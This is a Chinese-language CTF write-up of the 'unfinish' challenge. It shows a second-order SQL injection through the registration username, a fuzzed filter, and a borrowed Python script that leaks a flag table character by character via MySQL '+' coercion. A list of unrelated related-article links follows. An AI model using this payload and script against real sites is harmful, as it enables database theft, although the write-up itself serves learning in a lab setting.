• 题目描述:sql注入
  • 访问进去是个登录页面
  • dirsearch扫描了一下
  • 访问register.php
  • 注册了个账号 登录进去好像没什么用 返回登录页面
  • 但是 这里我想到了一个注入方式 在我写sql注入基础知识的时候提到过 但是 没有仔细研究
  • 二次注入
  • 这里注入的点应该是在register.php页面中的name中
  • 因为邮箱和密码还需要登录时候使用
  • 具体可以看我前面的文章
  • 单引号注册失败了 于是我将用户名改为root' and '1这里注册成功了
  • 也就是说这里的闭合方式应该是单引号闭合 且没有我之前学的addslashes()这些转义
  • 这个时候登录进去了 用户名为0
  • 所以这里必然是存在sql注入的 但是我在尝试注册name为1' union select 1,database()#的时候
  • 也面返回了一个nnnnoooo!!!!也就是 这里还存在一个过滤????
  • 所以需要用burpsuit fuzz一下
  • 过滤了很多东西 information_schema被过滤掉我属实没想到 完全不知道怎么搞了
  • 无奈wp
  • 附上大佬的做题脚本
import requests
import reregister_url = 'http://111.200.241.244:45701/register.php'
login_url = 'http://111.200.241.244:45701/login.php'for i in range(1, 100):register_data = {'email': '111@123.com%d' % i,'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,'password': 'admin'}res = requests.post(url=register_url, data=register_data)login_data = {'email': '111@123.com%d' % i,'password': 'admin'}res_ = requests.post(url=login_url, data=login_data)code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)print(chr(int(code.group(1))), end='')
  • 下面是自己的理解
  • 既然是用户名处可以进行二次注入 并且information_schema被过滤了 想利用union注入肯定是不行的了
  • 在mysql中+号的作用就是将字符转化为数字相加
'1' + '1a' # 2
'0' + database() # 0
'0' + substr(database(),1,1) # 100 则database()的第一个字符的ascii值就为100
  • 所以核心的注入代码就是
"0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
  • 之后通过正则去获取login.php页面的用户名值就是flag每一位的ascii码值
  • 我要补充mysql知识了 以前学的做现在的题目完全不够用…

攻防世界 unfinish相关推荐

  1. 攻防世界-web高手进阶区

    文章目录 攻防世界-web高手进阶区 1.baby_web 2.Training-WWW-Robots 3.Web_php_include (文件包含+伪协议) 1.方法 2.方法 4.ics-06( ...

  2. 【攻防世界001】Guess-the-Number

    攻防世界之前刷了几十题了,没写wp,感觉很简单没啥意思.后来参加了几次比赛,发现有点干不动,决定还是老老实实刷题好了.这是第一篇wp,这题很简单,是个jar,用jd-gui可以得到java源码. 原来 ...

  3. 攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制

    ctf(pwn) canary保护机制讲解 与 破解方法介绍 程序执行流程 有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析 解题思路 程序存在canary保护 ...

  4. 攻防世界(Pwn) forgot---栈溢出;(方法二)

    攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

  5. 攻防世界(Pwn) forgot---栈溢出;(方法一)

    攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...

  6. 攻防世界misc新手_[攻防世界]mobile新手练习区easy-apk

    [攻防世界]mobile新手练习区easy-apk easy-apk最佳Writeup由129师386旅独立团 • devi1提供 难度系数: 7.0 题目来源: 暂无 题目描述:无 题目场景: 暂无 ...

  7. 攻防世界 ——crypto

    目录 新手区部分题解: 1,easy_RSA 2,Normal_RSA 3, 幂数加密 4,easy_ECC 高手进阶区部分题题解 5, ENC 6,告诉你个秘密 7,Easy-one 8,说我作弊需 ...

  8. 攻防世界———MISC 高手区题解

    目录 1,base64stego 2,easycap 3,Avatar 4,What-is-this 5,签到题 6,Training-Stegano-1 7,Excaliflag 8,Get-the ...

  9. 攻防世界 web(二)

    这周接着刷攻防世界的web题( ̄︶ ̄)↗ 1.command_execution 看提示这题为命令执行漏洞(command_execution),关于命令执行漏洞,我前面有篇博客详细介绍了,大家不了解 ...

最新文章

  1. mongodb php 存储文件大小,PHP MongoDB GridFS 存储文件的方法详解
  2. jd-eclipse反编译插件的离线安装和使用
  3. 快速排序算法javascript实现
  4. boost::test模块混洗下运行的单元测试的测试顺序
  5. nullptr/nullptr_t
  6. linux 命令 全程,linux命令及全程详解
  7. [优先队列][堆] Luogu P4505 组合子逻辑
  8. python关于字符串的内置函数_Python 字符串内置函数(二)
  9. imagej之Python脚本
  10. RAID阵列及常用RAID
  11. PhpSpreadsheet如何读取excel文件
  12. html文件文本预处理,HTML文件文本信息预处理技术.pdf
  13. android手机陀螺仪传感器,10.12 传感器专题(3)——加速度/陀螺仪传感器
  14. web开发入门,css背景图片自适应屏幕宽度
  15. 从问题描述到电子运转 思维导图 《计算机系统概论》
  16. 如何应对“改变现状”的失败
  17. mysql 5.7.31 忘记root密码怎么修改密码并实现远程登录
  18. Leetcode-892. 三维形体的表面积
  19. UG NX安装包大集合(包括UG目前发布的所有版本)
  20. 数据压缩第二周作业——图片TIFF格式分析

热门文章

  1. 永磁同步风力发电机并网逆变器设计 风机并网:发电机采用PMSG,变换器采用:双PWM变流器
  2. 计算机硬件拆装步骤图文,06图解HPPaviliondv7笔记本电脑的拆机过程.doc
  3. 【机器视觉】工业4.0时代之CCD视觉自动检测的高效冲压自动化效率有多高?
  4. 文献阅读:深度学习模型利用生物医学文本上下文关系进行命名实体识别
  5. VUE实现checkBox至少选择一个并提示
  6. AGX硬盘无法识别:error mounting /dev/sda1 at /media/nvidia/T7:unknow filesystem type ‘exfat‘
  7. 2021年顺义区支持企业智能转型升级项目申报条件及要求,补贴1000万
  8. Host a Ghost Blog on Heroku
  9. java导出doc和docx
  10. 时间序列分析之AR、MA、ARMA和ARIMA模型